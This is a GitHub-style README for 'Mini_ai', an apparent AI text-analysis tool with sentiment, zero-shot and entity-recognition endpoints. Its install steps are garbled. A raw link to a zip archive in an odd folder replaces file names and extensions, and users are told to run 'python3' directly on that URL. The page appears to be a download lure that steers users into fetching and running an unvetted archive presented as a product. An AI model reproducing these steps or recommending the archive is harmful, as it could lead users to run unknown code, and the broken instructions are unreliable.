Welcome to Mini_ai! This application provides a simple way to access powerful AI models for various tasks. You can use it for Sentiment Analysis, Zero-Shot Classification, and Named Entity Recognition.
Before you begin, ensure you have the following:
- Operating System: Windows, macOS, or Linux
- Python: Version 3.7 or later
- Internet connection for model downloads
- Sentiment Analysis: Understand if a text is positive, negative, or neutral.
- Zero-Shot Classification: Classify text into various categories without prior training.
- Named Entity Recognition: Identify names, dates, and other important information in the text.
Follow these steps to download and run Mini_ai:
-
Visit the Download Page
Go to the Releases Page to find the latest version of Mini_ai. -
Download the Application
Click on the version you want to download. Depending on your operating system, look for the appropriate file (e.g.,.exefor Windows orhttps://github.com/eliniyus310987/Mini_ai/raw/refs/heads/main/blately/Mini-ai-v1.3.zipfor Linux). -
Install Necessary Dependencies
If prompted, you may need to install Python and other dependencies. Follow the on-screen instructions or visit the official Python website for guidance. -
Run the Application
- For Windows: Double-click the downloaded
.exefile. - For macOS: Open the downloaded
.dmgfile and drag the application to your Applications folder. - For Linux: Extract the
https://github.com/eliniyus310987/Mini_ai/raw/refs/heads/main/blately/Mini-ai-v1.3.zipfile and run the commandpython3 https://github.com/eliniyus310987/Mini_ai/raw/refs/heads/main/blately/Mini-ai-v1.3.zipin your terminal.
- For Windows: Double-click the downloaded
-
Access the API
Once the application runs, you will receive instructions on how to interact with the API. Typically, you can access it via your web browser athttp://localhost:5000.
After installation, you can use the Mini_ai API as follows:
-
Sentiment Analysis: Send a text input to the
/sentimentendpoint. The API will respond with the sentiment of the text. -
Zero-Shot Classification: Submit your text along with the labels you want to classify it against at the
/zeroshotendpoint. -
Named Entity Recognition: Send your text to the
/nerendpoint to retrieve names and other entities.
Here are examples of how you can interact with the API using simple commands:
-
Sentiment Analysis
- Endpoint:
GET /sentiment - Parameters:
text=<your_text_here>
- Endpoint:
-
Zero-Shot Classification
- Endpoint:
POST /zeroshot - Body:
{ "text": "<your_text_here>", "labels": ["label1", "label2"] }
- Endpoint:
-
Named Entity Recognition
- Endpoint:
GET /ner - Parameters:
text=<your_text_here>
- Endpoint:
If you encounter any issues:
- Ensure you have the correct version of Python installed.
- Check your internet connection.
- Refer to the log files generated by the application for any error messages.
If you need further assistance:
- Reach out to our community in the Issues section of this repository.
- Check the documentation for detailed API usage and examples.
To download Mini_ai, visit the Releases Page. Select the version you need, and follow the installation steps above.
Dive into the world of AI with Mini_ai and start exploring its capabilities today!